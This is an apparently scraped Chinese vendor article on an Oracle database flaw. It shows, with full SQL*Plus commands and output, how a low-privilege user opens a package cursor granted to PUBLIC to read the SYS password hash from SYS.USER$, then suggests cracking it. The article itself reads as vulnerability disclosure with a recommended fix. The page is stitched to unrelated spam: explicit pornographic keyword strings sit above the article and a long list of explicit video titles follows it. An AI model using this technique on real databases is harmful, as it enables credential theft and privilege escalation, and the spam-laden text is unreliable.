少妇尝试黑人粗吊受不了,久久精品免费久精品蜜桃,男受被做哭激烈娇喘gv视频,扒开女人狂c操

?
內(nèi)容中心
按關(guān)鍵字查找
Oracle數(shù)據(jù)庫游標(biāo)帶來的安全隱患之游標(biāo)設(shè)計(jì)本身的安全隱患
作者:安華金和 發(fā)布時(shí)間:2017-01-21

前文我們介紹了兩種Oracle游標(biāo)的數(shù)據(jù)庫安全隱患,一是利用游標(biāo)的掛起狀態(tài)進(jìn)行惡意代碼注入,二是利用惡意代碼注入進(jìn)行提權(quán),其實(shí)通過游標(biāo)獲取高權(quán)限賬號的密碼完全不用這么麻煩,oracle在游標(biāo)設(shè)計(jì)上本身就有安全問題。

用高權(quán)限用戶寫一個(gè)包,這個(gè)包中放入一個(gè)游標(biāo),功能和前面用的schina_test是一致的。用來取回需要檢查賬號的hash。然后和我們給出的一組預(yù)設(shè)hash做對比。低權(quán)限用戶如果知道這個(gè)游標(biāo)可以直接在包外調(diào)用該游標(biāo),從而獲取游標(biāo)中的內(nèi)容。包內(nèi)游標(biāo)可以在包外被調(diào)用,這是oracle游標(biāo)本身設(shè)計(jì)上的安全缺陷。

SQL> connect / as sysdba

已連接。

SQL>  CREATE OR REPLACE PACKAGE schina AS

  2   CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$

  3  WHERE NAME=USERNAME;

  4   PROCEDURE CHECK_PASSWORD;

  5   END;

  6   /


程序包已創(chuàng)建。


SQL> CREATE OR REPLACE PACKAGE BODY schina AS

  2  PROCEDURE CHECK_PASSWORD IS

  3  PASSWORD VARCHAR2(200);

  4  BEGIN

  5  OPEN X (USER());

  6  FETCH X INTO PASSWORD;

  7  CLOSE X;

  8    IF PASSWORD = '01234567890ABCDEF' THEN

  9       DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');

 10  ELSE

 11       DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');

 12  END IF;

 13  END CHECK_PASSWORD;

 14  END;

 15   /

程序包體已創(chuàng)建。

SQL> show errors

沒有錯(cuò)誤。

SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;

授權(quán)成功。

    通過show errors檢驗(yàn)發(fā)現(xiàn)整個(gè)過程沒有X游標(biāo)掛起的問題。X游標(biāo)正常關(guān)閉了,到現(xiàn)在為止操作一切正常切換到低權(quán)限賬號

SQL> connect scott/tiger

已連接。

SQL> set serveroutput on

SQL> exec  sys.schina.check_password;

YOUR PASSWORD HASH IS OK

    執(zhí)行包返回的結(jié)果很安全,不會顯示出游標(biāo)內(nèi)存儲的內(nèi)容,但如果通過一個(gè)匿名塊,在包外使用游標(biāo)的結(jié)果就變得不安全了,低權(quán)限用戶可以輕易使用高權(quán)限用戶設(shè)置的游標(biāo)。通過游標(biāo)直接可以獲取到游標(biāo)中存儲的結(jié)果集。

SQL> DECLARE PASSWORD VARCHAR2(200);

  2  BEGIN OPEN SYS. SCHINA.X ('SYS');

  3  FETCH SYS. SCHINA.X INTO PASSWORD;

  4  CLOSE SYS. SCHINA.X;

  5  DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);

  6  END;

  7  /

The SYS password is CF10653F66A74AC2

任何權(quán)限賬號的密碼通過這種方式都會被低權(quán)限用戶直接獲取HASH值,然后通過HASH逆向工具,獲取全部賬號的密碼。

至此我們對我們已經(jīng)分析了3種Oracle數(shù)據(jù)庫游標(biāo)帶來的安全隱患。游標(biāo)作為oracle的核心子程序,安全性十分重要。oracle的游標(biāo)雖然解決了一些問題,但安全性上還有很大問題。安華金和建議Oracle給游標(biāo)一個(gè)參數(shù),作為安全參數(shù)。默認(rèn)打開安全參數(shù),當(dāng)游標(biāo)在其被定義的包外打開的時(shí)候,對游標(biāo)進(jìn)行強(qiáng)制檢查,一旦發(fā)現(xiàn)打開該游標(biāo)的用戶權(quán)限低于創(chuàng)建游標(biāo)者的權(quán)限,則直接拋出異常,禁止打開該游標(biāo),從而保證Oracle數(shù)據(jù)庫安全性。


?
欧美性一区二区在线观看| 张开腿让男生舔免费视频| 成人午夜电影免费在线观看| 99热这里精品最新地址| 图片区卡通动漫亚洲欧洲| 激情 五月 婷婷 亚洲 | 成人三级精品视频在线观看| h在线观看的视频十八禁| 久久久久久久久久久麻豆| 性感美女被操,蜜乳AV| 久久亚洲五月天无码视频| 午夜福利爽拍国产片精品| 用鸡巴插秘书小穴的视频| 久久水蜜桃网成人网2区| 欧美黄色平青网| 不许穿内裤随时挨c调教h| 国产乱伦黄色片| 国产精品av在线| 成熟丰满熟妇老狼xxxxx| 宝宝腿打开我进不去视频| 农村继攵女h伦| 亚洲精品欧美白浆久久久| 亚洲 欧美 一区 二区| 两个鸡吧操一个嫩穴视频| 黑人巨屌女人操逼视频网| 亚洲国产精品一区二区毛片| 专干屁眼的视频| 久久久精品亚洲懂色av| 超碰97青青久久人人澡| 插逼视频聚集地| 熟女人妻少妇人论人精品| 亚洲一区二区三区| 宝贝腿开大点我添添公口述| 亚洲精品一区二区三区电影| 外国男人插女人吃奶视频| 操多毛的大逼逼| 中文字幕亚洲日韩无线码| 白丝美女被AV| 日韩精品久久久久一区二区 | 国产精品久久久久久久小说| 操死你小骚货视频免费观看|